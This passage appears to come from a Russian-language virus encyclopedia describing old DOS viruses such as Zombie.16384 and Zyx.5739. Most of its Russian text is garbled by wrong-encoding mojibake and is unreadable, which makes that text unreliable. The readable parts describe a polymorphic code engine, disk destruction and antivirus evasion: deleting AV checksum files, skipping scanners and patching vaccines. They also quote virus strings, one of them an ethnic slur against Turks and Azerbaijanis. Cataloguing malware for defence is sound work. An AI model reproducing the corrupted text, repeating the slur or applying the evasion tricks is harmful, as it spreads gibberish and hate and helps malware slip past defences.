áîëüøèíñòâå ñîâðåìåííûõ ìàòåðèíñêèõ ïëàò, èìåþùèõ ïðîöåññîð Pentium.
Âèðóñ ñîäåðæèò òåêñòû:
Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
Tnx to S.S.R.
ShadowRAM/Virtual Process Infector
ShadowRAM Technology (c) 1996,97 Z0MBiE
Zombie.16384
Íåîïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Àëãîðèòì ðàáîòû ïîëèìîðôíîãî
ãåíåðàòîðà î÷åíü ïîõîæ íà àëãîðèòìû âèðóñîâ Ply è Tmc. Zombie.16384
ïðîèçâîäèò ïîèñ è çàðàæåíèå COM-ôàéëîâ â òåêóùåì êàòàëîãå. Ïðè ñòàðòå
èíôèöèðîâàííîé ïðîãðàììû âèðóñ ñîçäàåò â ïàìÿòè ñòðîêó òåêñòà, êîòîðóþ
ïîòîì ñðàçó æå "çàáèâàåò íóëÿìè": "ZCME 0.01 Z0MBiE`s Code Mutation
Engine (c) 1997". Âèðóñ ïðîõîäèò ñâîèì âñòðîåííûì äèçàññåìáëåðîì ïî
ñîáñòâåííîìó êîäó è çàïèñûâàåò â ñëó÷àéíûå àäðåñà ïàìÿòè, âûäåëåííîãî
16K áóôåðà, áëîêè èç àññåìáëåðíûõ èíñòðóêöèé ñëó÷àéíîé äëèíû. Äàííûå
áëîêè âèðóñ "ðàçáàâëÿåò" êîìàíäàìè NOP. Äëÿ ñâÿçûâàíèÿ ìåæäó ñîáîé
ýòèõ áëîêîâ âèðóñ èñïîëüçóåò êîìàíäó áåçóñëîâíîãî ïåðåõîäà JMP. Òàêèì
îáðàçîì, 1346-áàéòíûé âèðóñ îêàçûâàåòñÿ "ðàçáðîñàííûì" ïî 16K áóôåðó.
Äàííûé áóôåð âèðóñ çàïèñûâàåò â íà÷àëî èíôèöèðóåìûõ ôàéëîâ.
Zu.473
Îïàñíûé ðåçèäåíòíûé âèðóñ. 13 èþíÿ âûâîäèò ñîîáùåíèå "Format ..."
è ïûòàåòñÿ óíè÷òîæèòü ñîäåðæèìîå âñåõ ñåêòîðîâ íóëåâîé ãîëîâêè æåñòêîãî
äèñêà.
Zyx.5739
Îïàñíûé íåðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. Íå çàðàæàåò ïðîãðàììû åñëè
îáíàðóæèò â ôàéëå CONFIG.SYS òåêñòîâûå ñòðîêè "VSAFE.", "NAV_." èëè
"NAV&.". Óäàëÿåò ôàéëû SCANVAL.VAL, FSIZES.QCV, CHKVIRUS.CFG, NAV_*.*,
CHKLIST.MS, *._XE, *._OM, SIGNTURE.DAT, CHKLIST.CPS. Íå çàðàæàåò ôàéëû,
èìåþùèå èìåíà SCAN.EXE, NAV.EXE, TBSCAN.EXE, STACKER.COM. Ïðè çàðàæåíèè
ôàéëîâ âèðóñ ïûòàåòñÿ îïðåäåëèòü - âàêöèíèðîâàí ëè ôàéë ñ ïîìîùüþ
àíòèâèðóñà CPAV. Åñëè âàêöèíà áóäåò îáíàðóæåíà, òî âèðóñ èñïðàâëÿåò åå
(patch) òàêèì îáðàçîì, ÷òîáû âàêöèíà ïðè, ïîëó÷åíèè óïðàâëåíèÿ, íå
"äîãàäàëàñü", ÷òî åå ôàéë-õîçÿèí èíôèöèðîâàí. Â ôàéëû ñ ðàñøèðåíèÿìè
PAS, DOC, BAK, ASM, C, TXT âèðóñ çàïèñûâàåò ñëåäóþùèé òåêñò:
To Karen
In the realm of a greek deity, I dreamt of you.
A weird reverie,
Typewriters were like clouds, high in the sky,
The floor was made of paper,
Pencils stood for trees,
A light bulb, low on the horizon, made a perfect sunset.
And it rained words ...
Then you came, more beautiful than ever,
The only one real in my cyberspace.
I felt like holding you im my arms, touching your hair,
Telling you how much I loved you,
How much I wanted to lose myself in your pretty brown eyes.
I was almost in heaven.
Suddenly it was pitch dark,
The greek god had turned off the PC. It said:
'Buddy you're just a damned cyberpunk
whose only friends are NPCs.'
I opened my eyes, it was dawning outside.
You weren't there.
I miss you. I really miss you.
Zyx
From the slums of
Beverly Hills.
Ñîäåðæèò òàêæå òåêñòû:
I'MWackOkiDtHebRainChildOfZyx
Stopsnoopingintomywork
Itoldyoutostop
Ifyuwanagoontakesomeflowerstoyourgirltoday&makeherhappyok
IhateturksazerbaijanisandKARABAGHbelongstous
Sowhatdidyougainwiseass
wishIhaddonesomethingelse
Zz.412
Íåîïàñíûé âèðóñ. Ñîäåðæèò òåêñòîâóþ ñòðîêó "&Zz".
ZzTop.340
Îïàñíûé ðåçèäåíòíûé âèðóñ. Â êîíåö âñåõ îòêðûâàåìûõ *.C è *.CPP-ôàéëîâ
çàïèñûâàåò òåêñòîâóþ ñòðîêó "ZZ TOP".
